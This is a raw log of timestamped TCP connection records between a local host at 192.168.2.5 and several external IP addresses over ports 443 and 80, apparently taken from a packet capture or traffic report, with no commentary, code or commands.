Nov 22, 2024 00:11:44.386085987 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.400456905 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.401401043 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.401432037 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.402234077 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.402239084 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.410218954 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.411032915 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.411045074 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.412142038 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.412240982 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.418020010 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.418102980 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.418649912 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.418658018 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.436201096 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.454705000 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:44.454735994 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:44.454832077 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:44.460517883 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:44.460536003 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:44.461102962 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.461124897 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.461250067 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.461926937 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.461931944 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.472039938 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.472906113 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.472927094 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.473758936 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.473762989 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.474205971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:44.820295095 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.820369005 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.820473909 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.823030949 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.823040009 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.823050022 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.823054075 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.827686071 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.827713966 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.827775955 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.827986956 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.828001022 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.840790987 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.840852022 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.841023922 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.841198921 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.841209888 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.841219902 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.841223955 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.844400883 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.844429016 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.844501972 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.845382929 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.845397949 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.886388063 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.886445999 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.886526108 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.891230106 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.891231060 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.891275883 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.891299009 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.895513058 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.895546913 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.895746946 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.897885084 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.897898912 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.917115927 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.917177916 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:44.917232990 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.919111013 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:44.919128895 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:45.042615891 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.042684078 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.042749882 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.054514885 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.054529905 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.054539919 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.054546118 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.314058065 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.314076900 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.314223051 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.314659119 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.314670086 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.491373062 CET	49799	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:45.491410017 CET	443	49799	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:45.491467953 CET	49799	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:45.492253065 CET	49799	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:45.492269993 CET	443	49799	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:45.651273966 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.652050972 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.652080059 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.652610064 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:45.652617931 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:45.932765007 CET	49800	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.932816982 CET	443	49800	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:45.932939053 CET	49800	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.933466911 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:45.933520079 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:45.933603048 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:45.935858011 CET	49802	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.935875893 CET	443	49802	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:45.936064959 CET	49802	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.936239004 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:45.936253071 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:45.936513901 CET	49800	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.936527967 CET	443	49800	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:45.937350035 CET	49802	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:45.937357903 CET	443	49802	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:46.104408026 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.104468107 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.104537010 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.104824066 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.104845047 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.104856968 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.104862928 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.108361006 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.108396053 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.108477116 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.108715057 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.108728886 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.251645088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:46.251748085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:46.305505037 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:46.305654049 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:46.536272049 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:46.536288023 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:46.537378073 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:46.539053917 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:46.539400101 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:46.539452076 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:46.554796934 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.613559008 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.629370928 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.629388094 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.630239964 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.630244970 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.635638952 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.635657072 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.636410952 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.636416912 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.648968935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:46.690687895 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.697057962 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.697087049 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.697571993 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.697577953 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.715159893 CET	49808	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:46.715188980 CET	443	49808	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:46.715466022 CET	49808	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:46.716135025 CET	49808	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:46.716149092 CET	443	49808	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:46.728266954 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.728283882 CET	443	49809	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:46.728353024 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.728648901 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.728661060 CET	443	49809	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:46.759819984 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.759852886 CET	443	49810	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:46.760015965 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.760215044 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:46.760240078 CET	443	49810	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:46.769331932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:46.985840082 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.985924959 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.986038923 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.986232996 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.986253977 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.986455917 CET	49791	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.986468077 CET	443	49791	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.990361929 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.990396976 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:46.990462065 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.990607977 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:46.990623951 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.019401073 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.019536018 CET	49808	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.022810936 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.022844076 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.022996902 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.023488045 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.023505926 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.023657084 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.024183989 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.024200916 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.024450064 CET	49800	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.024545908 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.024658918 CET	49799	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:47.025316954 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:47.025326014 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:47.025443077 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:47.025748014 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.025777102 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.025837898 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.026040077 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.026129007 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.026202917 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027060032 CET	49802	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027226925 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027431965 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027439117 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.027489901 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027633905 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027642965 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.027724981 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.027798891 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.027812958 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.027935982 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:47.027947903 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:47.028028011 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.028045893 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.028136969 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.028176069 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.028656006 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.028666019 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.028754950 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.028764963 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.050848007 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.050997972 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.051058054 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.051245928 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.051254988 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.051265955 CET	49793	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.051270962 CET	443	49793	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.054384947 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.054433107 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.054507971 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.054671049 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.054691076 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.063333035 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.063343048 CET	443	49808	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.067326069 CET	443	49810	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.067337036 CET	443	49809	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.067338943 CET	443	49802	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.067347050 CET	443	49799	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:47.071335077 CET	443	49800	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.146811008 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.146881104 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.147524118 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.147871971 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.147871971 CET	49792	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.147893906 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.147903919 CET	443	49792	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.150449038 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.150496006 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.150872946 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.151007891 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.151015997 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.171606064 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.172115088 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.172138929 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.172616005 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.172626019 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.188575029 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.188781977 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.188844919 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.189359903 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.189385891 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.189398050 CET	49789	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.189403057 CET	443	49789	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.199244022 CET	443	49802	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.199337006 CET	49802	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.212555885 CET	443	49800	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.212649107 CET	49800	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.224232912 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.224307060 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.224409103 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.224688053 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.224709034 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.240972996 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.241086960 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.241102934 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.241180897 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.278328896 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.278374910 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.278662920 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.278853893 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:47.278868914 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:47.435866117 CET	443	49799	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:47.435957909 CET	49799	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:47.598367929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:47.598459959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:47.618927956 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.618989944 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.619082928 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.619633913 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.619633913 CET	49797	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.619648933 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.619657993 CET	443	49797	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.624962091 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.625001907 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.625088930 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.625360012 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.625372887 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.885919094 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.890815973 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.890842915 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.891272068 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:47.891277075 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:47.966314077 CET	443	49808	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:47.966384888 CET	49808	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:47.977278948 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.977320910 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:47.977381945 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.983702898 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:47.983711958 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.005604982 CET	443	49810	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.005714893 CET	443	49810	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.005728006 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.005763054 CET	49810	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.010155916 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:48.010168076 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:48.010237932 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:48.010941982 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:48.010952950 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:48.024653912 CET	443	49809	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.024753094 CET	443	49809	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.024750948 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.025269985 CET	49809	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.148561001 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.148602009 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.148957014 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.149269104 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.149283886 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.179385900 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.179439068 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.179573059 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.179819107 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.179835081 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.235495090 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.236239910 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.236275911 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.237354040 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.237421989 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.239109039 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.239187956 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.239284039 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.240417004 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.240716934 CET	49824	443	192.168.2.5	162.159.61.3
